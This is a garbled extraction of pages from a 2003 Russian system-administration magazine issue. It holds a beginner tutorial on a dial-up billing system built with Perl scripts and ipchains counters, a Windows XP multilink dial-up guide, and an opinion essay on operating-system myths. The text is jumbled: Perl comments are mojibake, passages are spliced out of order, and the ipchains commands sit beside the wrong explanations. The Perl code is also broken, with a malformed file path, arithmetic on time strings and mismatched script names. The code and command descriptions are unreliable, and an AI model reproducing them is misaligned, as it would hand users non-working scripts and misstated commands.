Создание простейшей биллинговой системы Стадия 1: анализ Для примера рассмотрим создание простейшей биллинговой системы, построенной по принципу скриптовсчетчиков для снятия трафика и подсчета времени, затраченного пользователем в Интернете. Данная статистика больше будет приемлема для провайдера, использующего модемный пул. Мы будем создавать биллинговую систему, ориентируясь на операционную систему Linux, так как она открыта, ее можно свободно купить или загрузить из Интернета. Исходя из выбранного дистрибутива Linux, мы выберем компьютер и приступим к написанию. Дистрибутивов Linux существует огромное количество. Есть дистрибутивы, которые больше ориентированы на серверы; есть те, которые больше ориентированы на графику; есть такие, которые пытаются потягаться с MS Windows на поприще рабочих станций, и это у них очень хорошо получается. В нашем же случае необходимо выбрать сервер. Хотя из любого дистрибутива Linux можно сделать самому руками и сервер, и рабочую станцию, и мультимедийную станцию, но все-таки лучше выбирать изначально серверориентированный дистрибутив. Таким, на взгляд автора, является дистрибутив RedHat – самый распространенный дистрибутив по части серверных операционных систем. Многим он может не понравиться, или не нравится уже сейчас, – вы вправе выбрать любой другой дистрибутив и, автор думает, у вас все получится без изменения исходных кодов, приведенных в данной статье. Многие могут высказаться за операционную систему FreeBSD, но у нее

есть небольшой недостаток – новичку в ней очень тяжело разобраться. А данная статья рассчитана на новичков в этом деле. Итак, мы выбрали ветвь RedHatдистрибутивов. Теперь надо определиться с версией. Автор предлагает брать последнюю (на момент написания статьи) – 7.3 – стабильная последняя версия. Для данного дистрибутива нужен достаточно мощный компьютер, а так как мы рассчитываем на довольно слабый компьютер, то лучше взять клон дистрибутива RedHat украинской команды BlackCat Linux Team. Они ввели дополнительный компонент, повышающий безопасность дистрибутива. Он разрабатывался, когда еще не было таких мощных машин, и будет себя прекрасно чувствовать на слабом компьютере. Плату расширения COM-портов можете выбрать самостоятельно: тут не возникнет проблем. Для всех них существуют драйверы под RedHat 6.2. Наш выбор: BlackCat Linux 6.2 на P-MMX-166/32 RAM/2Gb HDD.

Стадия 2: реализация Для реализации задуманного нам потребуются знания операционной системы Linux, немного программирования на языке Perl и Bash. Bash на самом деле не язык программирования, а язык написания скриптов, как и Perl. Если кто-то захочет, то сможет это все реализовать на любом другом языке программирования. Итак, для того чтобы начинать писать, нам надо знать как это все работает в операционной системе. Схема довольно-таки простая. звонок пользователя

соединение модемов, авторизация

поднятие TCP/IP-протокола


администрирование Начнем по порядку. Пользователь звонит на сервер. Модем поднимает трубку и происходит установка связи двух модемов. Когда связь установлена, процесс входа пользователем в Сеть переходит во вторую фазу – фазу авторизации. Затем, после авторизации, наступает фаза поднятия TCP/IP-протокола. Вот так происходит вход пользователя в Сеть в Linux. Выход происходит в обратном порядке. Сначала опускается TCP/IP-протокол, затем выход-авторизация, затем разрыв связи. Иногда бывает, что происходит разрыв связи не по воле пользователя. Тогда немного меняется схема: сначала происходит разрыв связи, затем уже снятие TCP/IP-протокола, и последнее – выход-авторизация. Мы внесем некоторые изменения в данную схему, а именно: добавим дополнительный блок. После установки соединения и полной авторизации будет выполняться наша маленькая программа, которая будет сохранять имя пользователя, время его входа и любые другие данные, которые могут потребоваться в вашей системе. Так же добавим дополнительное звено и в выходную цепочку, поставив дополнительное звено после выход-авторизации. звонок пользователя

соединение модемов, авторизация

сохранение временных данных, необходимых для подсчета

директории [/etc/ppp]. Добавим в конец обоих файлов по строке: /etc/ppp/billing-up {PEERNAME} /etc/ppp/billing-down {PEERNAME}

соответственно. Данные строчки после авторизации или выход-авторизации запустят наши программы биллинговой системы. Через пробел в наши скрипты мы добавляем любые переменные, которые захотим передать в программу. Переменная {PEERNAME} имеет значение имени пользователя или, точнее сказать, его логина. О том, как сделать полную авторизацию с паролем через собственную систему биллинга, будет отдельная статья. Так как нам необходимо было передать в биллинговую систему не только имя пользователя, но и время его входа – мы воспользуемся языком программирования Perl и вызовем функцию системного времени. auth-up 1.#!/usr/bin/perl 2.# Ïðîãðàììà auth-up 3.# Ñîõðàíåíèå ëîãèíà ïîëüçîâàòåëÿ è âðåìåíè åãî âõîäà 4.$username = $ARGV[1]; 5.open(FL, ‘> /etc/ppp online.usr’); 6.print(FL, “$username “, localtime, “\n”);

Строка 01 – обязательная, она сообщает, что это Perl-программа. Строка 04 – мы переприсваиваем имя пользователя из массива в переменную, этого можно и не делать, – это сделано для наглядности. Строка 05 – открываем файл для записи, в данном файле будет храниться строка: что за пользователь зашел и во сколько (в формате UTC). Строка 06 – собственно, запись имени пользователя и времени его входа в систему. auth-down 1.#!/usr/bin/perl 2.# Ïðîãðàììà auth-down 3.# Îêîí÷àòåëüíûé àíàëèç ïðåáûâàíèÿ ïîëüçîâàòåëÿ â Èíòåðíåòå.

поднятие TCP/IP-протокола На практике это произойдет путем редактирования двух файлов auth-up и auth-down, находящихся в

№2(3), февраль 2003

4.$username = $ARGV[1]; 5.open(FL, ‘< /etc/ppp/online.usr’); 6.read(FL, $temp); 7.close(FL); 8.chomp($temp); 9.@user = split(/ /,$temp); 10.$logintime = $user[2]; 11.$logouttime = localtime; 12.$timeonline = $logouttime —

$logintime; 13.open(FL, ‘>> /var/log/inet.usr’); 14.print(FL, “User: $username, LogIn: $logintime, LogOut: $logouttime, OnLineTime: $timeonline”);

Первые строки программы такие же, как и в предыдущей программе. Строка 04 – переприсваивание имени пользователя. Строки 05-07 – открытие файла, чтение из него строки, закрытие файла, или, точнее, освобождение дескриптора файла. Строка 08 – это обрезание лишних пробелов и символа перевода каретки. Строка 09 – разбиение строки на массив переменных. Переприсваиваем в с троке 10 время входа пользователя для наглядности. Узнаем время выхода пользователя в с троке 11. В строке 12 узнаем, сколько времени пробыл пользователь на линии, данное число представляет собой количество секунд. В строке 13 открываем файл для добавления записи о пользователе. Строка 14, собственно, сама запись: фиксируем имя пользователя, время входа, время выхода и время, проведенное пользователем на линии. Данная система биллинга очень простая: она считает только лишь время, проведенное пользователем на линии. Для того чтобы считать количество байт, которые пользователь загрузил или выгрузил из Интернета, нужно усложнить наши программы. В каждом конкретном случае надо подходить отдельно. Для той операционной системы, которую мы выбрали для написания биллинга, свойственно ядро (kernel) версии 2.2.х. В данном ядре была реализована система контроля за IP-пакетами – на уровне IP-цепочек (ipchains). Для версии ядра 2.4.х уже реализована система Netfilter, с управлением через IPтаблицы (iptables). Она более гибкая и более совершенная, нежели цепочки. Но в выбранной операционной системе применены цепочки, вы можете сами пересобрать ядро более высокой версии, но это уже отдельная тема. Существует очень много способов подсчета трафика, автор приводит для примера один из них: принцип счетчика. Чтобы подсчитать количество байт, загруженных или выгруженных пользователем, необходимо создать

45


администрирование правило цепочек для конкретного IP, так как Linux использует для идентификации IP-пакетов IP-адреса. И каждому пользователю, подключенному по модему, всегда выдается IPадрес, причем реально выдается два IP-адреса: один – на модем со стороны сервера, второй – на модем пользователя. Конечно же, IP-адреса выдаются не на физически работающий модем, а на компьютер. Для создания правила цепочки необходимо знать IP-адрес, который выдался пользователю. Для этого существует специальный параметр в скриптах auth-up и auth-down, данный параметр называется {REMOTEIP}. Его надо передать в программу, которая будет создавать правило. А так же в программу, которая будет снимать показания счетчика и удалять после выхода пользователя счетчик. Данные программы будут count-up и count-down, их вызов надо будет проставить из скриптов auth-up и authdown соответственно: /etc/ppp/count-up {PEERNAME} {REMOTEIP} /etc/ppp/count-down {PEERNAME} {REMOTEIP}

Именем цепочки будет служить имя пользователя, вернее, его логин.

Удаление всех правил в цепочке. ipchains –Z {PEERNAME}

Удаление пустой цепочки. ipchains –L {PEERNAME} –nvx

Извлечение статистики по цепочке {PEERNAME} в полном формате, не сокращая количество байт. ipchains –A input –s {REMOTEIP}/32 –d 0/0 –j {PEERNAME}

Добавление правила в цепочку input, которое будет срабатывать при появлении пакета с исходным адресом нашего пользователя {REMOTEIP}/32 и адресом назначения любым (0/0), причем будет происходить переход в цепочку с именем нашего пользователя {PEERNAME}. ipchains –A output –d {REMOTEIP}/32 –s 0/0 –j {PEERNAME}

Добавление правила в цепочку output, которое будет срабатывать при появлении пакета с адресом назначения нашего пользователя {REMOTEIP}/32, а исходный адрес может быть любым (0/0), причем переход будет происходить в цепочку с именем {PEERNAME}.

ipchains –N {PEERNAME}

Создание новой цепочки с именем пользователя. ipchains –F {PEERNAME}

46

ipchains –D output –d {REMOTEIP}/32 –s 0/0 –j {PEERNAME}

ipchains –D input –s {REMOTEIP}/32 –d 0/0 –j {PEERNAME}

Удаление правила из цепочки input.

Удаление правила из цепочки output. Из этих команд вы сами можете создать какую хотите систему счетчиков по образу и подобию программ, приведенных выше.

Стадия 3: ограничения на тестирование До начала тестирования системы надо сразу узнать количество ограничений, присущих данной, крайне простой, системе биллинга. Во-первых, имя пользователя может быть только лишь цифробуквенным и не более 8 символов. Во-вторых, данная система не будет работать, если пользователи будут заходить одновременно с разных модемов, так как это будет уже коммерческим биллингом. Для реализации этого пункта нужно не так уж много сил, но автор специально не приводит в статье эти изменения. Вы их всегда можете узнать или получить в Сети IRC, бесплатно или нет, – это уже все зависит от вас. В-третьих, данная система формирует только выходной текстовый файл (/var/log/inet.usr), но не формирует вывода в html-страницах. Этот пункт также можно реализовать при небольших затратах сил. Остальное не столь существенно как первые три пункта. Ну вот и все. Если у кого-нибудь возникли вопросы по данной теме, изменения или дополнения к статье, автор будет рад вам ответить.


администрирование

УСТАНАВЛИВАЕМ MULTIPLE-DEVICE (MULTILINK)-ДОЗВОН В WINDOWS XP ТАТЬЯНА АНТИПОВА В Windows XP вы можете использовать несколько модемов, чтобы подключиться к ISP-провайдеру, тем самым увеличивая общую скорость передачи ваших данных. Multipledevice-дозвон (также известный как PPP, modem aggregation или Multilink) позволяет объединять несколько физических устройств в одно логическое устройство. Как правило, две или больше ISDN-линий или модемов связываются вместе для увеличения пропускной способности. Теперь это можно использовать в системах Windows XP.

Требования Чтобы использовать multiple-deviceдозвон, должны выполняться следующие условия: Ваш ISP-провайдер должен поддерживать синхронизацию нескольких доменов. Вы должны установить несколько модемов. Для каждого модема требуется отдельная телефонная линия. Обратите внимание, что один ISDN-адаптер может работать как несколько устройств, потому что ISDN включает два 56-Kbps B канала, которые могут использоваться независимо.

Конфигурируем multiple-device-дозвон Особенность Network Connections позволяет использовать Point-to-Point (PPP) Multilink-дозвон в нескольких ISDN, X.25 или модемных линиях. Эта особенность объединяет несколько физических каналов в логический канал связи; получившийся канал увеличивает пропускную способность подключения. Чтобы использовать несколько устройств для дозвона, ваше

№2(3), февраль 2003

подключение и сервер удаленного доступа должны поддерживать Multilink. Network Connections может динамически управлять линиями, использующими Multilink. Система позволяет ограничивать количество используемых линий, тем самым устраняя дополнительную пропускную способность. Вы можете конфигурировать условия, при которых будут использоваться дополнительные линии, изменяя параметры настройки Network Connections. Обратите внимание: если вы используете Multilink, чтобы дозвониться до сервера, который требует обратный вызов (callback), только одно из ваших Multilink-устройств будет использоваться для обратного дозвона. Это происходит, потому что можно хранить только один номер в учетной записи пользователя. Поэтому соединится только одно устройство, и все другие устройства не будут использоваться, – т.е. ваше подключение теряет функциональные возможности Multilink. Этой проблемы можно избежать: Если phonebook-запись для Multilink-подключения использует стандартную конфигурацию модема, и сервер удаленного доступа, который вызывает ваше подключение, использует больше одной строки для одного номера. Если phonebook-запись для Multilink подключения – ISDN с двумя каналами, которые имеют один номер.

Конфигурируем подключение: 1. Жмем Start –> Start –> Network and Internet Connections и затем жмем на Network Connections. 2. Жмем нa подключение, которое вы хотите сконфигурировать (например,

dial-up-подключение), и затем, под Network Tasks, жмем на Change settings of this connection. 3. Жмем вкладку General, и затем выбираем устройства, которые вы хотите использовать для этого подключения. 4. Используйте один или несколько из следующих шагов: Чтобы конфигурировать устройства дозвона, телефонные номера, адрес хоста, коды страны или области, правила набора, жмите на вкладку General. Чтобы конфигурировать опции дозвона и повторного дозвона или X.25-параметры, жмите на вкладку Options. Чтобы конфигурировать идентификацию, шифрование данных или окно терминала и варианты начального сценария, жмите на вкладку Security. Чтобы конфигурировать сервер удаленного доступа и используемые протоколы для создаваемого подключения, жмите на вкладку Networking. Также кликните Settings и выберите Negotiate multilink для single link подключения. Чтобы включить и отключить Internet Connection Sharing, Internet Connection Firewall и on-demandдозвон, жмите на вкладку Advanced. Примечания:

В зависимости от формируемого

типа подключения, в свойствах подключения появляются различные опции и вкладки. Для подробной информации об определенном элементе на вкладке щелкните правой кнопкой мыши по элементу и затем щелкните What’s This?

47


администрирование

МИФЫ И ЛЕГЕНДЫ СОВРЕМЕННОЙ ОСОЛОГИИ…

ИЛИ «ОС – ЭТО БОЛЬШОЙ ПОЛОСАТЫЙ МУХ?» Речь пойдёт о весьма распространённых мифах о трёх популярных операционных системах (Windows, Unix FreeBSD и Linux) в частности и о других в общем (сюда будут отнесены QNX, OS/2, BeOS и все-все-все…). Итак, что у нас есть на данный момент? Относительно немного: компьютерное сообщество, имеющее дурную привычку тратить много сил, энергии, дискового пространства серверов и сетевой пропускной способности для обсуждения того, чья игрушка лучше, а именно: Windows, Unix FreeBSD или Linux. На основании этих… назовём их мягко – споров, часто складывается определённое мнение людей, не особо в этом разбирающихся… Попробуем заняться сложным и опасным делом – понять, кто прав, а кто – не очень.

АЛЕКСАНДР ПОТЕМКИН 48


администрирование Microsoft Windows И первым кандидатом (по популярности) у нас будет продукция от небезызвестной компании Microsoft. Встречайте! Операционная система Windows! Я думаю, а точнее даже уверен, что многие из нас слышали не один анекдот об этом творении (например, про зависающие ракеты под управлением ОС Windows), думаю, что многие имели «счастье» лицезреть «крахи» и «баги» этой операционки… Но позволю себе «наглость» заняться подробным рассмотрением всех посягательств на неё.

обеспечении есть ошибки! Более того, их количество прямо пропорционально количеству предоставляемых возможностей. Что точно можно поставить в вину Microsoft, так это сырость первых продуктов. Но если учесть, что задача была быстро завоевать рынок, и что пользователям нужно было показать как можно больше возможностей, то такую стратегию понять можно. Смею заметить, что стабильность последних продуктов увеличивается, а «сырость» кода уменьшается.

Посягательство первое: ОС

Посягательство четвёртое: поче-

Windows – самая ужасная операционка! Опровержение: угу, если ещё есть с чем сравнивать… Очень любят эти фразы писать из-под Internet Explorer (не в редакции для Solaris…) или в mIRC, на худой конец, в ICQ от Мирабилиса (опятьтаки Windows-версия). Это я всё к чему? Да к тому, что подобные фразы часто пишут люди, ничего другого не видевшие, либо слышавшие про легендарную надёжность Unix-систем (до них ещё доберёмся).

му в Windows я не могу сделать всего того, что я захочу?! Опровержение: вообще Windows не даёт (и не должна) полного доступа пользователю ко всему (вообще наиболее полный доступ ко всему можно получить, лишь имея под рукой исходный код программы – тут уже прямая дорога в *nixсистемы). Простой домохозяйке не нужно давать возможность всё уничтожить одним действием.

Посягательство второе: ОС Windows – очень нестабильна…

Опровержение: Здесь сложно спорить. Можно привести только одно оправдание и один упрёк. Оправдание можно озвучить как тот факт, что вообще заставить работать такую дикую помесь 16-ти и 32-ух разрядного кода нужно суметь (сделанную в конечном итоге для пользователя – совместимость со своими программами почему-то всем хочется увидеть и в новой версии операционной системы). Но тут вступает в силу упрёк: всё бы неплохо, но вот заставлять людей платить за такой «программистский опус» не есть хорошо…

Посягательство

третье: в Windows очень много багов (ошибок)… Опровержение: да, много. Особенно если пользоваться Windows 95, который более даже не поддерживается. В любом программном

№2(3), февраль 2003

Ещё подобные претензии можно услышать к Windows как к серверной платформе. Здесь внимание на создание: изначально была задача простого и понятного доступа, а также приятной работы пользователя. Тут уж, пардон, действует правило: безопасность системы обратно пропорциональна её удобству. И несмотря на это, Microsoft делает многое для увеличения безопасности. Это отмечается и командами, специализированно занимающимися безопасностью этой ОС; кроме того, на момент написания этих строк Билл Гейтс провозгласил высокий приоритет безопасности для всей компании. Последний «клич» такого толка привёл к тому, что доминирование Netscape на рынке браузеров было не то чтобы потеснено, а скорее даже просто разгромлено в пух и прах. Возникновения этого «клича» именно сейчас вполне можно обосновать тремя аргументами: В своей книге «Дорога в будущее» Билл Гейтс и не скрывает ни от кого, что безопасность стоит далеко не на первом месте в предоставлении продукта пользовате-

лям. Самое главное – это показать пользователю возможности, а уже потом устранять все ошибки. И только потом доводить безопасность до нормального уровня. С точки зрения рынка такую технологию можно назвать более чем правильной: сначала завоевать нишу, а уже потом делать продукт нормальным. Оставим в стороне этическую сторону данного вопроса, ибо, как говорится в известной поговорке: «Любовь приходит и уходит, а кушать хочется всегда». Второй аргумент: сказать, что бродить по Интернету с помощью установленных по умолчанию версий InternetExplorer & OutlookExpress весьма опасно – равнозначно тому, что просто тихо промолчать. Плюс ко всему третий аргумент появляется: конкуренты жить мешают. Тут уж всё просто: хочешь жить – умей вертеться! Так ведь из-за всей шумихи пользователи к конкуренту перебежать могут…

Ну, с Windows хватит. Пожалуй, следует перейти к тому, что столь часто позиционируется как реальная конкуренция – ОС Linux. Тут всё несколько забавнее, поскольку проект Linux относительно молод, и его пользователи весьма разношёрстны.

GNU/Linux OS И самое тут весёлое, с моей скромной точки зрения, – это то, что Linux позиционируется как вполне полноценная альтернатива продукции от Microsoft. Наиболее часто в подобных утверждениях фигурирует дистрибутив Linux Mandrake… Ну что ж… на вкус и цвет, как говорится, товарищей поискать надо, но когда «беспристрастные» пользователи-журналисты начинают утверждать, что вышеобозначенный набор пакетов (да простят меня его поклонники, но не нахожу я лучших слов для того, что занимает ненормально большое количество места на винчестере, в оперативной памяти, ну и времени процессора в придачу; хотя я точно знаю, что можно сделать то же самое с меньшими потерями для компьютера) ставится и работает лучше, быстрее и понятнее, чем Windows XP, то остаётся только пожать плечами со словами из

49


администрирование одного моего любимого литературного произведения: «Пишите? Ну-ну…». К тому же мало кого, видимо, смущают следующие маленькие фактики: Приблизительно каждые полгода с упрямостью, достойной лучшего применения, заявляется о том, что уж теперь-то точно Linux готов для замены ОС Windows на десктопах конечных пользователей (обычно такие лозунги под анонсами KDE – графической оболочки, с сомнительными пользовательскими качествами). Всё время кричится о том, что ОС Linux – самая что ни на есть стабильная, безопасная операционная система… Но где же эти рупоры, когда в лучшие месяцы «урожая» можно свой Linux-сервер «патчить» и «апгрейдить» до потери пульса… (для затравки: серия ядер 2.4.x до десятого-одиннадцатого точно; sendmail, который с тем же самым упрямством до сих пор живёт по умолчанию на львиной доле распространенных дистрибутивов, и многое-многое другое). Очень многие почему-то любят заявлять, что программы с открытыми исходниками по определению значительно хуже коммерческих лишь потому, что фирмы обычно не склонны делиться своими наработками. И, естественно, ПО от Microsoft в подобных заявлениях выступает как ярчайший пример… Почему же столь многим кажется, что Билл Гейтс – бездарный руководитель, программист и бизнесмен? Ещё огромное количество вопросов «почему?» зависают в воздухе и, похоже, не найдут ответа в ближайшее время. С позволения читателя остановлюсь более подробно на ранее написанном «обзывании» Linux Mandrake. Возможно, что после этой фразы у меня появилось много новых «друзей», но извините – что вижу, то и пою. Займёмся конкретикой: на данный момент минимальные системные требования для Linux Mandrake 8.1 следующие: процессор – Intel Pentium 233; память – от 64 Mb; HDD – 1.5 Gb (по информации с www.linuxcenter.ru). На седьмой ветке это были минималь-

50

ные требования – испытано на моём многострадальном компьютере. В этот самый момент мне вспоминаются заверения ветеранов Linux о том, что Linux будет себя весьма уверенно чувствовать на компьютере с 133 MHz, 12 Mb оперативной памяти, объём винчестера, необходимый для работы, заявлялся равным 150 Mb. Далее воспользуюсь рекламным слогом: но после того как я попробовал Linux Mandrake, я понял, что до этого в моей жизни не было ничего подобного! Кроме того что я получил это бинарное творение сегодня по рекордно низкой цене и без всяких лицензионных проблем, я обнаружил, что также в комплекте получаю большую кучу проблем не только с тем, что было вроде как нормально для *nix систем ранее (логичность, стабильность системы), но и с тем, что я должен был получить за то, что мой (не самый старый) компьютер чувствует себя не очень важно – удобство, комфорт и реальную замену Windows. Из чистого интереса решил я собрать свой дистрибутив Linux (дада… знаю старую шутку о том, что количество дистрибутивов Linux уже превысило количество его пользователей, но ведь на то он и Linux?) У меня сразу было несколько задач и ограничений: небольшой винчестер на 120 Mb, процессор на 200 MHz, 12 Mb оперативной памяти, ну и задача: сделать нормальный серверный дистрибутив. Мне было достаточно того, что система грузилась и имела на себе также компилятор и веб-сервер… Кому интересно, могу сказать, что всё это уместилось менее чем в половину объема винчестера. Чувствовала себя машина просто превосходно. Выводы делайте сами. Последний аспект работы с ОС Linux: безопасность и работа в качестве сервера. Здесь всё чертовски интересно. С точки зрения теории, Linux – это сетевая операционная система, поскольку является одной из вариаций на тему *nix-систем (а не наоборот, как я встретил в книге по Linux RedHat 6.2 c диском Linux RedHat Cyrillic Edition 6.2), а посему на этом фронте всё должно быть спокойно. Но это – если руководствоваться чистой логикой и рассматривать теорию. Примемся за рассмотрение

практики: какая модель разработки большинства «свободных» (FSF) программ? Правильно! Базар! Посему никакой упорядоченности и логики здесь искать не стоит. Но это идеология; практика же такова, что на сервер эту операционную систему поставить, конечно же, можно (равно как и DOS), но вот то, что придётся с ней повозиться, – это точно. В современном «дистрибутивостроении» пытаются сделать «Linux с человеческим лицом». Результат – ядра с ошибками в сетевой подсистеме, возможность получить права root («суперпользователь» системы, которому система позволяет делать всё), возможность устроить DoS (Denial of Access) атаку – всё это на уровне ядра и не требует особых знаний со стороны атакующего. Список этих проблем постоянно пополняется… Это что касаемо ядра. В дистрибутивы также любят встраивать программы типа sendmail, традиционно небезопасные. Кто бы мне ещё объяснил: зачем по умолчанию запускать практически все возможные сервисы?

Unix FreeBSD Буду откровенен с читателем: эта система – моя любовь. Эти чувства она снискала себе за очень многое. Пожалуй, что я определил бы её как одну из немногочисленных *nix-систем, сохранивших зыбкий баланс современности и классической логичности. Однако обратимся к фактам. В большинстве своём эта система используется для серверных решений. Также имеет свою популярность у программистов, и в качестве третьей категории пользователей можно заметить людей, перешедших на Unix FreeBSD с Linux, когда надоедает бардак с дистрибутивами, проблемы с пакетами и иногда просто с логикой построения системы. Однако почему так происходит? На серверы FreeBSD зачастую попадает по одной простой причине. Система не стремится быть супер популярной и следовать всем новомодным явлениям, вместо этого основным для разработчиков является стабильность и логика работы. Unix FreeBSD не столь требовательно к железу как Linux, хотя имеет практически всё тот же «ассортимент» про-


администрирование граммного обеспечения. Ну и кроме того, команда разработчиков, видимо, проповедует принцип безопасности прямо «из коробки», то есть большинство никому не нужных сервисов просто отключено; всё, что есть, установлено с вполне приемлемыми для сервера опциями. Программистам эта система может понравиться уже хотя бы и тем, что с самого момента установки в системе ставится компилятор, как одна из опций есть установка полного набора исходных текстов с весьма логичным и понятным устройством каталогов. И нет никаких проблем с документацией. В большинстве случаев вся документация весьма чётко синхронизирована с бинарными продуктами. Ну а кому надоел Linux, эта платформа может нравиться тем, что всё находится, как было сказано на одном из форумов www.linux.org.ru, «под одной крышей». Весьма чёткая структурированность системы, достаточно простой апгрейд системы. Стоит ещё описать фирменные «фичи» системы, к каковым относятся система портов и возможность эмулировать Linux. Физически порты – это каталог /usr/ports, в котором весьма красиво разложен своеобразный индекс программного обеспечения, портированного под Unix FreeBSD и не включённого в основную установку. Причём установка любой необходимой программы при наличии подключения к сети производится парой команд: # cd /usr/ports/{NameOfSection}/ {ProgramName} # make install; make clean

Первую строку удобнее будет рассмотреть на примере – нам нужно поставить эмулятор Windows – WINE. Тогда серия команд весьма проста: # cd /usr/ports/emulators/wine # make install; make clean

Для тех, у кого нет возможности качать все необходимые исходники (а именно из них всё и собирается для конкретной системы), существуют уже скомпилированные пакеты наиболее популярных и нужных программ (обычно расположены на диске в ка-

№2(3), февраль 2003

талоге /cdrom/packages, если CD-ROM смонтирован в соответствующем каталоге). Эмуляция Linux – это несколько каталогов портов (или соответственно несколько пакетов), позволяющие запускать программы для Linux с недоступными исходными текстами под Unix FreeBSD, так, например, работают VMWare, Adobe AcrobatReader и многое другое. Теперь о менее приятном, но том, что есть в любой системе: недостатки. Минусы следующие: у системы не очень много разработчиков, пользователей и того, без чего не выживет ни один проект – инвесторов. Посему в FreeBSD реализовано может быть не всё, что хотелось бы. Нечем особенно сильно хвастаться и в области поддержки железа (не то чтобы драйверов было мало, но в том же Linux их всё же больше). В минус можно зачислить и не особенную понятность системы новичку – сложновато назвать её дружелюбной, напичканной всевозможными мастерами, – скорее уж системой, чётко подчинённой логике и поддерживающей старинные традиции *nix-систем (впрочем, не в ущерб прогрессу). Существуют, несомненно, и ошибки в самой системе, существуют и недостатки, которые можно, конечно, исправить, но всё же оставляют некоторое не особо приятное впечатление (например, Unix FreeBSD 4.4 имела, видимо, не особо оттестированный FAT32 filesystem драйвер, а потому «куролесила» при записи на эти разделы, или необходимость установки порта для чтения русских имён на CD-ROM диске, последнее, впрочем, обещают точно исправить в 5-ой ветке). Ну, с FreeBSD всё, но у нас есть и другие системы…

… and others (QNX, OS/2, BeOS) Не оставим без внимания и других славных представителей ОСологии – OS/2, BeOS и QNX. Интересны они многим, и, несомненно, имеют своих поклонников и противников. У каждой из них есть какая-то своя характерная черта и чтото революционно новое, привнесенное этой операционной системой. Впрочем, поподробнее о каждой.

OS/2 – это детище IBM, которая решила в своё время попасть ещё и на рынок операционных систем (не зря, видимо, говорят, что история развивается по спирали… Неспроста это рисование пингвинов на улицах города…). И всё бы с ней было хорошо, но существует такое понятие, как «появиться раньше времени». По крайней мере, именно такой «диагноз» ей ставят многие. Технически это была весьма грамотная система, но пользователи, как это часто бывает, проголосовали кошельком. Результат вы можете лицезреть на большинстве десктопов – про «полуось», как её любовно называют, знают немногие, а Windows, с которым была конкуренция, стоит у подавляющего большинства. На данный момент существует достаточно «тёплый» клуб почитателей OS/2 (www.os2.ru, например), действительно готовый всегда помочь. Бесплатная поддержка этой системы IBM на данный момент уже завершена, что добавляет проблем для конечных потребителей. Ответ на вопрос «почему» весьма прост: при попытке установки «полуоси» на сколь-либо современный компьютер возникает действительно большое количество проблем – в основном по причине проблем с драйверами, какими-то настройками и прочим, прочим, прочим. Однако многие уверяют, что для слабеньких машинок (например, 386 процессор, 40 Mhz, 12 Mb RAM & 350 Mb HDD) это будет просто идеальный вариант. Сложновато придётся с поиском программного обеспечения, поскольку пользователей и разработчиков программного обеспечения для этой платформы немного, а мало-мальски последние продукты пишутся программистами-энтузиастами в большинстве случаев не без помощи фонда свободного программного обеспечения (ничего не имею против такого пути разработки, но никаких серьёзных продуктов здесь ждать не приходится). BeOS – это чадо Be Inc. Основное освещение прессы и приток пользователей получило лишь после выхода пятой версии, которая вышла в двух вариантах – Personal Edition (PE) и Professional (Pro). Первая версия

51


администрирование была свободно доступна для скачивания и принципиальных отличий от «профессиональной» версии не имела. С самого начала эта система создавалась с «мультимедийным» уклоном (по замыслу создателей, она должна/могла заменить MacOS, когда Apple стал искать для него альтернативу), и вообще не для платформы x86 (то есть процессоры от Intel, AMD и прочие клоны этой архитектуры). Но после того стало понятно, что по большому счёту их решение по железу никому не нужно, а попытка скопировать схему Apple (полный цикл производства, начиная от железа и заканчивая программными продуктами) дала сбой, то решено было первоначально отказаться от производства железа и сконцентрироваться только на операционной системе, а впоследствии и принято решение о переносе BeOS на x86 платформу. Результат был потрясающим – система завораживает сразу… Однако Be Inc. занималась не только этим – также была попытка продвигать на рынок свои приставки (BeIA)… Результат весьма плачевен – полный провал по всем направлениям. Be Inc. куплена Palm, на момент написания этих строк судьба исходного кода BeOS ясна окончательно – код открытию и переводу под какую-нибудь лицензию свободного/ условно-свободного программного обеспечения не подлежит. Впрочем, на этом не стоит закрывать альбом с яркой надписью BeOS – фанаты своей системы не собираются так рано и так просто сдаваться, и реальна реинкарнация системы как минимум в двух вариантах, совместимых, по обещаниям разработчиков, с прародителем на уровне исходных кодов. Про BeOS написано не так уж и много, но и не очень мало. Описывать, рекомендовать что-то по этой системе – занятие весьма своеобразное,

52

поскольку разрушает смысл весьма легко применяемого к этой системе словосочетания – интуитивно понятный интерфейс… Впрочем, кому это не по душе – командная строка в виде bash к вашим услугам. С программным обеспечением тут всё неплохо (пример тому – огромный набор программ на www.bebits.com и www.bebits.ru). Есть за что похвалить систему по работе с железом (PentuimII-350 Mhz, 128 Mb RAM и 6 Gb HDD – полёт, в прямом смысле этого слова, нормальный). Много интересных инженерных и дизайнерских идей, мыслей и разработок. В отличии от многих других подходит для работы на рабочем столе пользователя, поскольк у имеет офис (от GOBE), совместимый с Microsoft Office по форматам документов, а также IRC и ICQ клиентов, веб-браузер (Mozilla и Opera + свой слабенький, но худо-бедно работающий NetPositive). В качестве минусов можно сказать, что программное-то обеспечение есть, но вот оно или денег стоит, или не совсем устойчиво в работе… Да и драйвера всё же неидеальны, и есть не на всё железо (хотя у меня на это нареканий не было никаких). Кроме того, слабо мне, честно говоря, верится в судьбу столь большого проекта в руках OpenSource Community… Вывести его на нормальный уровень работы будет непросто. Хотя если не стараться, то уж тем более ничего не получится. QNX… Сложно точно сказать, как эта система попала сюда. Ведь предназначается она не совсем для десктоп-использования. Причина тому проста – из всего обзора это единственная система реального времени, основанная на микроядре и предназначенная (в теории) для промышленных решений на базе x86 процессора. Популярность к ней пришла после шага, аналогичного Be Inc. – шестую

версию можно получить из Интернета вполне бесплатно для персонального изучения и некоммерческой разработки программ. Система весьма интересна по концепциям, в неё заложенным, но основной круг её пользователей – это профессионалы своего дела, реально понимающие, зачем им это надо. Попасть на десктопы у этой системы есть все шансы, но, возможно, в будущем… Сейчас это просто та система, о которой нужно знать, поскольку у неё есть реальные шансы оказаться полезной как на сервере (в этом качестве её можно использовать уже сейчас), так и на рабочем столе обычного пользователя. Этот раздел можно продолжать до бесконечности, поскольку количество операционных систем сейчас весьма велико (например, это AtheOS, MenuetOS и многие другие интересные системы), но, к сожалению ли, к счастью ли, пригодны для использования немногие из них и, я надеюсь, что в этом обзоре они нашли наиболее полное отражение.

